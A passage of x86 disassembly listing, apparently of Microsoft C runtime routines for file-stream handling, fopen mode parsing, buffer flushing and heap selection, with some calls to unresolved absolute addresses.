arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41A5DC
		mov	esi, [esp+8+arg_C]

loc_41A5BF:				; CODE XREF: sub_41A5AE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41A5DC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41A5BF

loc_41A5DC:				; CODE XREF: sub_41A5AE+Bj
					; sub_41A5AE+25j
		pop	edi
		pop	esi
		retn
sub_41A5AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5DF	proc near		; CODE XREF: sub_419E38+670p
					; sub_419E38+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41A613
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41A5F5:				; CODE XREF: sub_41A5DF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41A613
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41A5F5

loc_41A613:				; CODE XREF: sub_41A5DF+Cj
					; sub_41A5DF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A5DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A617	proc near		; CODE XREF: sub_419E38+E5p
					; sub_419E38+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41A617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A624	proc near		; CODE XREF: sub_419E38+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41A624	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A634	proc near		; CODE XREF: sub_419E38+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41A634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A642	proc near		; CODE XREF: sub_417794+17p
					; sub_417794+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41A660
		mov	ecx, off_4395A0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41A6B2
; ---------------------------------------------------------------------------

loc_41A660:				; CODE XREF: sub_41A642+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_4395A0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41A685
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41A68E
; ---------------------------------------------------------------------------

loc_41A685:				; CODE XREF: sub_41A642+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41A68E:				; CODE XREF: sub_41A642+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41FB63
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A6AE
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A6AE:				; CODE XREF: sub_41A642+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41A6B2:				; CODE XREF: sub_41A642+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41A642	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B7	proc near		; CODE XREF: sub_417900+2Ap
					; sub_41FEC6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_48B440
		jnb	loc_41A751
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A751
		push	edi
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A730
		cmp	edi, 1
		jz	short loc_41A6FE
		cmp	edi, 2
		jnz	short loc_41A714

loc_41A6FE:				; CODE XREF: sub_41A6B7+40j
		push	2
		call	sub_41FE32
		push	1
		mov	ebp, eax
		call	sub_41FE32
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A730

loc_41A714:				; CODE XREF: sub_41A6B7+45j
		push	edi
		call	sub_41FE32
		pop	ecx
		push	eax
		call	near ptr 26309DCh
		nop
		test	eax, eax
		jnz	short loc_41A730
		call	near ptr 2650C45h
		nop
		mov	ebp, eax
		jmp	short loc_41A732
; ---------------------------------------------------------------------------

loc_41A730:				; CODE XREF: sub_41A6B7+3Bj
					; sub_41A6B7+5Bj ...
		xor	ebp, ebp

loc_41A732:				; CODE XREF: sub_41A6B7+77j
		push	edi
		call	sub_41FDB8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A74D
		push	ebp
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41A762
; ---------------------------------------------------------------------------

loc_41A74D:				; CODE XREF: sub_41A6B7+8Bj
		xor	eax, eax
		jmp	short loc_41A765
; ---------------------------------------------------------------------------

loc_41A751:				; CODE XREF: sub_41A6B7+Ej
					; sub_41A6B7+2Fj
		and	dword_48A018, 0
		mov	dword_48A014, 9

loc_41A762:				; CODE XREF: sub_41A6B7+94j
		or	eax, 0FFFFFFFFh

loc_41A765:				; CODE XREF: sub_41A6B7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A6B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A76A	proc near		; CODE XREF: sub_417900+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A793
		test	al, 8
		jz	short loc_41A793
		push	dword ptr [esi+8]
		call	sub_417C3B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41A793:				; CODE XREF: sub_41A76A+Aj
					; sub_41A76A+Ej
		pop	esi
		retn
sub_41A76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A795	proc near		; CODE XREF: sub_41A835+2Dp
					; sub_41A835+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A7A7
		push	esi
		call	sub_41A835
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A7A7:				; CODE XREF: sub_41A795+7j
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jz	short loc_41A7B7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A7B7:				; CODE XREF: sub_41A795+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A7CC
		push	dword ptr [esi+10h]
		call	sub_41FE6F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41A7CC:				; CODE XREF: sub_41A795+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A795	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_417900+1Ap
					; sub_418D0E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A81D
		test	ax, 108h
		jz	short loc_41A81D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A81D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A816
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A81D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------

loc_41A816:				; CODE XREF: sub_41A7D0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41A81D:				; CODE XREF: sub_41A7D0+14j
					; sub_41A7D0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82C	proc near		; CODE XREF: sub_41FAE7p
		push	1
		call	sub_41A835
		pop	ecx
		retn
sub_41A82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A835	proc near		; CODE XREF: sub_41A795+Ap
					; sub_41A82C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_48B320, esi
		jle	short loc_41A893

loc_41A846:				; CODE XREF: sub_41A835+5Cj
		mov	eax, dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A88A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A88A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A870
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A88A
		inc	ebx
		jmp	short loc_41A88A
; ---------------------------------------------------------------------------

loc_41A870:				; CODE XREF: sub_41A835+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A88A
		test	cl, 2
		jz	short loc_41A88A
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A88A
		or	edi, eax

loc_41A88A:				; CODE XREF: sub_41A835+1Bj
					; sub_41A835+23j ...
		inc	esi
		cmp	esi, dword_48B320
		jl	short loc_41A846

loc_41A893:				; CODE XREF: sub_41A835+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A89E
		mov	eax, edi

loc_41A89E:				; CODE XREF: sub_41A835+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A835	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8A2	proc near		; CODE XREF: sub_417956+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jz	short loc_41A92B
		cmp	esi, offset dword_43BCD8
		jnz	short loc_41A8C0
		xor	eax, eax
		jmp	short loc_41A8CB
; ---------------------------------------------------------------------------

loc_41A8C0:				; CODE XREF: sub_41A8A2+18j
		cmp	esi, offset dword_43BCF8
		jnz	short loc_41A92B
		push	1
		pop	eax

loc_41A8CB:				; CODE XREF: sub_41A8A2+1Cj
		inc	dword_48A1D8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A92B
		cmp	dword_48A06C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:48A06Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A911
		push	ebx
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A911
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A91E
; ---------------------------------------------------------------------------

loc_41A911:				; CODE XREF: sub_41A8A2+4Dj
					; sub_41A8A2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_41A91E:				; CODE XREF: sub_41A8A2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A92B:				; CODE XREF: sub_41A8A2+10j
					; sub_41A8A2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A92F	proc near		; CODE XREF: sub_417956+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A959
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A96A
		push	esi
		call	sub_41A7D0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A959:				; CODE XREF: sub_41A92F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A96A
		push	eax
		call	sub_41A7D0
		pop	ecx

loc_41A96A:				; CODE XREF: sub_41A92F+10j
					; sub_41A92F+32j
		pop	esi
		retn
sub_41A92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A96C	proc near		; CODE XREF: sub_417988+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_48A1E0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41A9A5
		cmp	al, 72h
		jz	short loc_41A99E
		cmp	al, 77h
		jnz	loc_41AAB9
		mov	ecx, 301h
		jmp	short loc_41A9AA
; ---------------------------------------------------------------------------

loc_41A99E:				; CODE XREF: sub_41A96C+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41A9AD
; ---------------------------------------------------------------------------

loc_41A9A5:				; CODE XREF: sub_41A96C+1Dj
		mov	ecx, 109h

loc_41A9AA:				; CODE XREF: sub_41A96C+30j
		or	esi, 2

loc_41A9AD:				; CODE XREF: sub_41A96C+37j
		push	1
		pop	edx

loc_41A9B0:				; CODE XREF: sub_41A96C+8Bj
					; sub_41A96C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AA9F
		cmp	edx, ebx
		jz	loc_41AA9F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AA3E
		jz	short loc_41AA2E
		sub	eax, 2Bh
		jz	short loc_41AA18
		sub	eax, 19h
		jz	short loc_41AA0E
		sub	eax, 0Eh
		jz	short loc_41A9F9
		dec	eax
		jnz	loc_41AA90
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41A9F9:				; CODE XREF: sub_41A96C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA0E:				; CODE XREF: sub_41A96C+6Aj
		test	cl, 40h
		jnz	short loc_41AA90
		or	ecx, 40h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA18:				; CODE XREF: sub_41A96C+65j
		test	cl, 2
		jnz	short loc_41AA90
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA2E:				; CODE XREF: sub_41A96C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AA90
		or	ecx, eax
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA3E:				; CODE XREF: sub_41A96C+5Ej
		sub	eax, 62h
		jz	short loc_41AA8B
		dec	eax
		jz	short loc_41AA74
		sub	eax, 0Bh
		jz	short loc_41AA5D
		sub	eax, 6
		jnz	short loc_41AA90
		test	ch, 0C0h
		jnz	short loc_41AA90
		or	ch, 40h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA5D:				; CODE XREF: sub_41A96C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA74:				; CODE XREF: sub_41A96C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA8B:				; CODE XREF: sub_41A96C+D5j
		test	ch, 0C0h
		jz	short loc_41AA97

loc_41AA90:				; CODE XREF: sub_41A96C+72j
					; sub_41A96C+7Bj ...
		xor	edx, edx
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA97:				; CODE XREF: sub_41A96C+122j
		or	ch, 80h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA9F:				; CODE XREF: sub_41A96C+4Aj
					; sub_41A96C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FEC6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AABD

loc_41AAB9:				; CODE XREF: sub_41A96C+25j
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------

loc_41AABD:				; CODE XREF: sub_41A96C+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_48A1D8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41AAD7:				; CODE XREF: sub_41A96C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADC	proc near		; CODE XREF: sub_417988p
		mov	edx, dword_48B320
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AB4D
		mov	ebx, dword_48A310
		mov	edi, ebx

loc_41AAF8:				; CODE XREF: sub_41AADC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AB13
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AB0E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AAF8
		jmp	short loc_41AB4D
; ---------------------------------------------------------------------------

loc_41AB0E:				; CODE XREF: sub_41AADC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AB37
; ---------------------------------------------------------------------------

loc_41AB13:				; CODE XREF: sub_41AADC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417B89
		pop	ecx
		mov	ecx, dword_48A310
		mov	[edi+ecx], eax
		mov	eax, dword_48A310
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AB4D
		mov	esi, edi

loc_41AB37:				; CODE XREF: sub_41AADC+35j
		cmp	esi, ebp
		jz	short loc_41AB4D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41AB4D:				; CODE XREF: sub_41AADC+12j
					; sub_41AADC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB54	proc near		; CODE XREF: sub_417B9B+1Fp
					; sub_41944F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_48A078
		test	eax, eax
		jz	short loc_41AB6C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AB6C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41AB6C:				; CODE XREF: sub_41AB54+7j
					; sub_41AB54+12j
		xor	eax, eax
		retn
sub_41AB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB6F	proc near		; CODE XREF: sub_41AB9C+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2720D85h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41AB9A
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41AB9A
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41AB9A:				; CODE XREF: sub_41AB6F+15j
					; sub_41AB6F+1Cj
		pop	esi
		retn
sub_41AB6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB9C	proc near		; CODE XREF: sub_41ACE4+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_417B30
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jz	short loc_41ABDF
		cmp	[ebp+var_88], 2
		jnz	short loc_41ABDF
		cmp	[ebp+var_94], 5
		jb	short loc_41ABDF
		push	1
		pop	eax
		jmp	loc_41ACE1
; ---------------------------------------------------------------------------

loc_41ABDF:				; CODE XREF: sub_41AB9C+27j
					; sub_41AB9C+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 2850000h
		nop
		test	eax, eax
		jz	loc_41ACCE
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_41AC21

loc_41AC0E:				; CODE XREF: sub_41AB9C+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC1C
		cmp	al, 7Ah
		jg	short loc_41AC1C
		sub	al, 20h
		mov	[ecx], al

loc_41AC1C:				; CODE XREF: sub_41AB9C+76j
					; sub_41AB9C+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC0E

loc_41AC21:				; CODE XREF: sub_41AB9C+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418DA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AC43
		lea	eax, [ebp+var_122C]
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------

loc_41AC43:				; CODE XREF: sub_41AB9C+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_41AC77

loc_41AC64:				; CODE XREF: sub_41AB9C+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC72
		cmp	al, 7Ah
		jg	short loc_41AC72
		sub	al, 20h
		mov	[ecx], al

loc_41AC72:				; CODE XREF: sub_41AB9C+CCj
					; sub_41AB9C+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC64

loc_41AC77:				; CODE XREF: sub_41AB9C+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx

loc_41AC8C:				; CODE XREF: sub_41AB9C+A5j
		cmp	eax, ebx
		jz	short loc_41ACCE
		push	2Ch
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41ACCE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41ACB3

loc_41ACA5:				; CODE XREF: sub_41AB9C+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41ACAE
		mov	[ecx], bl
		jmp	short loc_41ACAF
; ---------------------------------------------------------------------------

loc_41ACAE:				; CODE XREF: sub_41AB9C+10Cj
		inc	ecx

loc_41ACAF:				; CODE XREF: sub_41AB9C+110j
		cmp	[ecx], bl
		jnz	short loc_41ACA5

loc_41ACB3:				; CODE XREF: sub_41AB9C+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41881C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41ACE1
		cmp	eax, 3
		jz	short loc_41ACE1
		cmp	eax, 1
		jz	short loc_41ACE1

loc_41ACCE:				; CODE XREF: sub_41AB9C+5Cj
					; sub_41AB9C+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41AB6F
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41ACE1:				; CODE XREF: sub_41AB9C+3Ej
					; sub_41AB9C+126j ...
		pop	ebx
		leave
		retn
sub_41AB9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ACE4	proc near		; CODE XREF: ___:00419C3Ep

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	near ptr 2860000h
		nop
		test	eax, eax
		mov	dword_48B684, eax
		jz	short loc_41AD3A
		call	sub_41AB9C
		cmp	eax, 3
		mov	dword_48B688, eax
		jnz	short loc_41AD20
		push	3F8h
		call	sub_41AD41
		pop	ecx
		jmp	short loc_41AD2A
; ---------------------------------------------------------------------------

loc_41AD20:				; CODE XREF: sub_41ACE4+2Dj
		cmp	eax, 2
		jnz	short loc_41AD3D
		call	sub_41B888

loc_41AD2A:				; CODE XREF: sub_41ACE4+3Aj
		test	eax, eax
		jnz	short loc_41AD3D
		push	dword_48B684
		call	near ptr 2850EE0h
		nop

loc_41AD3A:				; CODE XREF: sub_41ACE4+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41AD3D:				; CODE XREF: sub_41ACE4+3Fj
					; sub_41ACE4+48j
		push	1
		pop	eax
		retn
sub_41ACE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD41	proc near		; CODE XREF: sub_41ACE4+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_48B684
		nop
		call	near ptr 2710000h
		test	eax, eax
		mov	dword_48B67C, eax
		jnz	short loc_41AD5E
		retn
; ---------------------------------------------------------------------------

loc_41AD5E:				; CODE XREF: sub_41AD41+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_48B674, 0
		and	dword_48B678, 0
		push	1
		mov	dword_48B670, eax
		mov	dword_48B680, ecx
		mov	dword_48B668, 10h
		pop	eax
		retn
sub_41AD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD89	proc near		; CODE XREF: sub_417C3B+17p
					; sub_41944F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_48B678
		lea	ecx, [eax+eax*4]
		mov	eax, dword_48B67C
		lea	ecx, [eax+ecx*4]

loc_41AD99:				; CODE XREF: sub_41AD89+26j
		cmp	eax, ecx
		jnb	short loc_41ADB1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41ADB3
		add	eax, 14h
		jmp	short loc_41AD99
; ---------------------------------------------------------------------------

loc_41ADB1:				; CODE XREF: sub_41AD89+12j
		xor	eax, eax

locret_41ADB3:				; CODE XREF: sub_41AD89+21j
		retn
sub_41AD89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB4	proc near		; CODE XREF: sub_417C3B+23p
					; sub_41944F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41B0D8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
